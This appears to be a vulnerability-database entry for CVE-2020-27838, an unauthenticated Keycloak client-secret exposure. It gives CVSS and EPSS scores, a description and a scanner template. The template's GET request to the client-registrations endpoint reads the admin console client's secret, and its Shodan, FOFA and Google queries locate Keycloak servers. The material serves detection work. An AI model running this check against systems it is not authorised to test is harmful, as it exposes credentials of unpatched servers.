4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:M/Au:N/C:P/I:N/A:N
6.5 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
6.4 Medium
AI Score
Confidence
High
0.117 Low
EPSS
Percentile
95.3%
A flaw was found in keycloak in versions prior to 13.0.0. The client registration endpoint allows fetching information about PUBLIC clients (like client secret) without authentication which could be an issue if the same PUBLIC client changed to CONFIDENTIAL later. The highest threat from this vulnerability is to data confidentiality.
id: CVE-2020-27838
info:
name: KeyCloak - Information Exposure
author: mchklt
severity: medium
description: |
A flaw was found in keycloak in versions prior to 13.0.0. The client registration endpoint allows fetching information about PUBLIC clients (like client secret) without authentication which could be an issue if the same PUBLIC client changed to CONFIDENTIAL later. The highest threat from this vulnerability is to data confidentiality.
impact: |
The vulnerability allows an attacker to gain sensitive information from the KeyCloak server.
remediation: |
Apply the latest security patches or updates provided by the KeyCloak vendor.
reference:
- https://bugzilla.redhat.com/show_bug.cgi?id=1906797
- https://nvd.nist.gov/vuln/detail/CVE-2020-27838
- https://github.com/muneebaashiq/MBProjects
- https://github.com/j4k0m/godkiller
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2020-27838
cwe-id: CWE-287
epss-score: 0.08135
epss-percentile: 0.93734
cpe: cpe:2.3:a:redhat:keycloak:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: redhat
product: keycloak
shodan-query:
- "title:\"keycloak\""
- http.title:"keycloak"
- http.html:"keycloak"
- http.favicon.hash:-1105083093
fofa-query:
- title="keycloak"
- icon_hash=-1105083093
- body="keycloak"
google-query: intitle:"keycloak"
tags: cve,cve2020,keycloak,exposure,redhat
http:
- method: GET
path:
- "{{BaseURL}}/auth/realms/master/clients-registrations/default/security-admin-console"
matchers-condition: and
matchers:
- type: regex
regex:
- '"clientId":\s*"security-admin-console"'
- '"secret":'
condition: and
- type: word
part: header
words:
- 'application/json'
- type: status
status:
- 200
# digest: 4a0a00473045022075a12abb8d7c57a24c8ad7a00997a9a572da21c9e1131e500c6f77f352c3c557022100f4c157e6b030a4dd3fee892c2c6132443e51a8d9757b37b0147225053d401422:922c64590222798bb761d5b6d8e72950
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:M/Au:N/C:P/I:N/A:N
6.5 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
6.4 Medium
AI Score
Confidence
High
0.117 Low
EPSS
Percentile
95.3%